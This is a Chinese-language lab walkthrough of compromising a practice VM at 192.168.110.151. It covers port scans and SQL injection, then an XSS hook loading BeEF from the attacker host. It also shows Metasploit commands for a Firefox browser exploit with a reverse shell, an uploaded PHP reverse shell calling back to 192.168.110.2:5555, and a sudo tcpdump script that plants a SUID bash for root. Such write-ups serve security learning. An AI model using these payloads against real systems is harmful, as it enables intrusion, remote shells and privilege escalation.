靶场环境说明
该靶场是静态IP地址,需要更改网络配置,攻击机kali做了两张网卡;
信息收集
# nmap -sT --min-rate 10000 -p- 192.168.110.151 -oN port.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-09 10:47 CST
Stats: 0:00:18 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 74.36% done; ETC: 10:47 (0:00:02 remaining)
Nmap scan report for 192.168.110.151
Host is up (0.0013s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE
111/tcp open rpcbind
40653/tcp open unknown
65535/tcp open unknown
MAC Address: 00:0C:29:DA:80:1A (VMware)
Nmap done: 1 IP address (1 host up) scanned in 20.16 seconds
开放端口信息为三个,分别是111,40653,65535三个端口,111端口上是rpc,远程过程调用!
# nmap -sT -sC -sV -O -p111,40653,65535 192.168.110.151 -oN details.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-09 10:48 CST
Nmap scan report for 192.168.110.151
Host is up (0.00076s latency).
PORT STATE SERVICE VERSION
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 34417/tcp6 status
| 100024 1 40653/tcp status
| 100024 1 45426/udp6 status
|_ 100024 1 57938/udp status
40653/tcp open status 1 (RPC #100024)
65535/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u2 (protocol 2.0)
| ssh-hostkey:
| 1024 f3:53:9a:0b:40:76:b1:02:87:3e:a5:7a:ae:85:9d:26 (DSA)
| 2048 9a:a8:db:78:4b:44:4f:fb:e5:83:6b:67:e3:ac:fb:f5 (RSA)
| 256 c1:63:f1:dc:8f:24:81:82:35:fa:88:1a:b8:73:40:24 (ECDSA)
|_ 256 3b:4d:56:37:5e:c3:45:75:15:cd:85:00:4f:8b:a8:5e (ED25519)
MAC Address: 00:0C:29:DA:80:1A (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
开放端口的详细信息探测结果显示65535端口是openssh! 剩下的两个端口是rpc服务!
# nmap -sT --script=vuln -p111,40653,65535 192.168.110.151 -oN vuln.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-09 10:50 CST
Nmap scan report for 192.168.110.151
Host is up (0.00054s latency).
PORT STATE SERVICE
111/tcp open rpcbind
40653/tcp open unknown
65535/tcp open unknown
MAC Address: 00:0C:29:DA:80:1A (VMware)
Nmap done: 1 IP address (1 host up) scanned in 23.34 seconds
默认漏洞脚本探测的结果没什么能用的!探测一下UDP端口!
# nmap -sU --min-rate 10000 -p- 192.168.110.151 -oN udp.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-09 10:57 CST
Warning: 192.168.110.151 giving up on port because retransmission cap hit (10).
Nmap scan report for 192.168.110.151
Host is up (0.00078s latency).
Not shown: 65454 open|filtered udp ports (no-response), 78 closed udp ports (port-unreach)
PORT STATE SERVICE
111/udp open rpcbind
5353/udp open zeroconf
57938/udp open unknown
MAC Address: 00:0C:29:DA:80:1A (VMware)
udp端口显示开放端口同样是三个,分别是111和5353 zeroconf 以及57938端口!
寻找立足点
探测了一下rpc的服务信息:
对于RPC服务的渗透测试还是不熟悉,不知道该如何寻找立足点,之前见过2049端口上的NFS服务存在信息泄露!但是这里并没有2049端口~
这里ssh登录root的时候,看到了提示用户peter 和 密码 inthesource尝试进行登录:
但是连接关闭了~ 后面发现网站可以访问!后续再次对端口进行探测,发现了80端口:
源码中式上面的信息,看起来似乎并没有什么提示信息!利用gobuster进行目录的探测,发现了两个目录:
一个是images 另一个是blog目录!
images目录是403状态,但是访问blog目录出现了上面的信息!尝试利用之前的账号和密码信息进行登录:
但是上面拿到的凭据信息也是不对的,为了验证自己获得的这组凭据没错,利用hydra进行了测试:
路径发现了用户admin!
看到search界面,尝试利用sqlmap跑一下:
发现了两个数据库信息:
尝试读取oscommerce数据库中的信息:
读取到了一个用户admin的密码,尝试解密:
后面一直拿到什么突破点,看了大佬们的wp,用的XSS,XSS一直都是被自己忽略的getshell方式~
发现了xss的利用,需要用到beef工具!apt install beef-xss进行安装!之后启动命令为:
kali之beef的使用_kali没有beef-CSDN博客
beef-xss: 需要修改一下默认的密码!
之后正常的登陆即可!根据https://www.exploit-db.com/exploits/17640 的提示,访问目标靶机的注册页面,然后输入<script src="http://192.168.110.2:3000/hook.js"></script> 攻击代码,密码和邮箱字段随便输入提交即可
提交成功之后访问http://192.168.110.151/blog/members.html 即可触发漏洞,此时便会在beef框架上看被控制端:
然后看beef的panel!
之后再根据Redirect Browse配合metasploit拿个反弹shell:
use exploit/multi/browser/firefox_proto_crmfrequest
set payload generic/shell_reverse_tcp
set srvhost 192.168.110.2
set uripath shell
set lhost 192.168.110.2
run
将得到的地址,放到beef中执行!
之后成功收到了会话,准备提权!但是这个会话极不稳定!需要做一下持久化处理!首先,查找 post shell to meterpreter:
search post shell to meterpreter
use 5
set lhost 192.168.110.2
set sessions 1
run
第二个就是我们建立的持久化会话!
查看/etc/passwd文件!发现了两个用户!
查看sudo权限,发现了apache2的文件!推测前面ssh登陆不成功,寻找ssh的配置文件,于是在/etc/ssh目录下面找到了ssh的配置文件
在最下面发现了强制执行了startme,判断可能与ssh无法建立连接有关系!
于是查看这个文件,发现他启动apache服务,怪不得我们ssh连接之后,再次扫描端口信息,发现了80端口运行了!尝试覆盖掉.bashrc文件!这样就可以在ssh连接后保持shell
之后发现了网站的目录下面,还存在着html2,看到了里面oscommerce!发现了一个端口2323!
利用telnet进行连接查看,发现了回显一个经纬度,还需要我们输入用户名和密码信息,google搜索了一下这个经纬度:
发现了houston!不知道是用户名还是密码!用户名的话也就是之前我们看到了/etc/passwd文件中的用户名,可以拿来尝试下!
但是问我们订书机是什么!??
后面发现了/usr/local/bin/cd.py这个文件比较特殊,还存在stapler关键字!查看文件中的内容!
看了里面的内容,发现答案是mine!再次连接2323端口:
执行完成之后,发现了我们当前的用户已经变了,milton用户!初步的提权成功!后面看到了隐藏文件.profile:
sudo权限执行了nginx,此时再次查看端口信息,发现了8888端口!
后面查看端口上的服务,发现了:
后面尝试添加了admin路径,发现了登录的界面,因为之前我们在80端口上发现了sql注入,拿到了密码!所以尝试寻找了后台登陆界面!
利用之前的账号和密码信息,进行登录!解密的密码是32,但是一直没能成功登录,使用admin/admin登陆成功!
找到了一个文件上传的地方!但是一直没能成功的上传,后来在include目录下面找到了一个可写的目录:
这里上传了反弹shell,监听地址为192.168.110.2 5555端口,上传之后,访问http://192.168.110.151:8888/oscommerce/includes/work/php-reverse-shell.php,同时监听:
查看sudo权限!
发现了无密码以root身份执行tcpdump!
切换到 tmp 目录,构造1.sh 脚本文件以实现提权(将 /bin/bash 复制至 /tmp/shell,并添加SUID)
然后执行GTOFbins中给出的 sudo 命令,实现脚本利用
cd /tmp
echo '#!/bin/bash' >> 1.sh
echo 'cp /bin/bash /tmp/shell' >> 1.sh
echo 'chmod +s /tmp/shell' >> 1.sh
chmod +x 1.sh
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/1.sh -Z root
tcpdump 相关命令中包含lo参数,因此需要在 milton 用户终端中构造本地流量
最后,在 /tmp中提权